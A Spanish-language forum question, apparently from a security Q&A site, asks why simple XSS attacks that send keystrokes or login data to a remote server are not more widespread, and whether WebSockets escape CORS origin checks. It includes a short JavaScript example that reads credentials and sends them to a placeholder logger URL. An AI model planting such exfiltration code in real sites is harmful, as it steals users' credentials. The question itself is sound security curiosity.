Bueno, he estado pensando en esto por un tiempo ahora.
En la última década, hemos utilizado varias formas de hacer que nuestros sitios web parezcan dinámicos y en vivo . Por ejemplo, en JavaScript, es bastante fácil enviar datos a un servidor remoto utilizando AJAX , incluso más fácil con Websockets .
Ejemplo para algunos AJAX maliciosos :
xmlHttp = new XMLHttpRequest();
function process() {
var secret = getCredentials();
if(xmlHttp.readyState == 4 || xmlHttp.readyState == 0) {
xmlHttp.open("GET", "http://example.com/logger.php?" + secret, true);
xmlHttp.send(null);
}
else
setTimeout("process()", 1000);
}
Además, es muy probable que todos estén de acuerdo conmigo en que el manejo de las opiniones de los usuarios es una tarea muy común que se puede lograr usando solo unas pocas líneas de JavaScript.
Entonces, ¿por qué no vemos que ningún aficionado intente realizar ataques XSS que intenten enviar nuestra entrada de teclado a un servidor web en segundo plano para recuperar nuestros datos de inicio de sesión?
¿Por qué parece que no sufrimos permanentemente este tipo de ataques en cada cuarto sitio web que visitamos, lo que nos obliga a cambiar nuestras credenciales de inicio de sesión en períodos de tiempo extremadamente cortos?
¿Todos nuestros sitios web están tan bien protegidos?
TL; DR : ¿Por qué no necesitamos cambiar las contraseñas cada pocos días debido a ataques XSS aparentemente triviales?
Editar:
En cuanto a AJAX, parece que HTTP maneja este problema muy bien:
XMLHttpRequest cannot load http://example.com/logger.php?password.
No 'Access-Control-Allow-Origin' header is present on the requested
resource.
Entonces, al menos para las solicitudes HTTP, esto no parece ser un problema. Pero por lo que sé, a los websockets no les importa la fuente a la que se accede, ¿o sí?